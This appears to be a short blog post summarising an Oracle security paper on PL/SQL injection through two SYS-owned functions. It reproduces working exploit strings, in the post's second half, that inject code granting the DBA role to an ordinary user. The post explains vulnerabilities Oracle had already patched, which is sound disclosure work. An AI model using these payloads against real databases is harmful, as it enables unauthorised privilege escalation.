David Litchfield yesterday released 3 papers describing security issues which have now been addressed by Oracle.
Out of these, I found this one particularly interesting.
In a nut shell, this paper talks about 2 functions, which allows execution of PL/SQL and an attacker can use these to inject PL/SQL even if he found just a SQL Injection. THis could also be used to get around the create function privilege. This is very similar to DBMS_EXPORT_EXTENSION vulnerability what David reported in 2006. The first vulnerable function described in his paper (DBMS_SQLHASH.GETHASH) suffers from cursor snarfing vulnerability and its a little tricky to exploit.
"This will only work if the session is not ended between the two injection attempts."
The second function though has no such restriction and as the input passed to this function is used to construct and then dynamically execute an anonymous PL/SQL block, you can directly inject PL/SQL here. Here's the exploit from David's paper:
DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,
''VALIDATE_GRP_OBJECTS_LOCAL(:canon_gname); execute immediate
''''declare pragma autonomous_transaction;begin execute immediate ''''''''grant dba to testuser'''''''';end;''''; end;--'',''CCCC'')
Drawback: Both these functions although have authid of definer(and owned by SYS) they do not have execute privileges to Public, and hence the original injection point (sql injection) must be in a procedure owned by SYS.
Here's the select 'SQL' query with this exploit:
select DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,
'VALIDATE_GRP_OBJECTS_LOCAL(:canon_gname); execute immediate
''declare pragma autonomous_transaction;
begin execute immediate ''''grant dba to scott'''';end;''; end;--','CCCC') from dual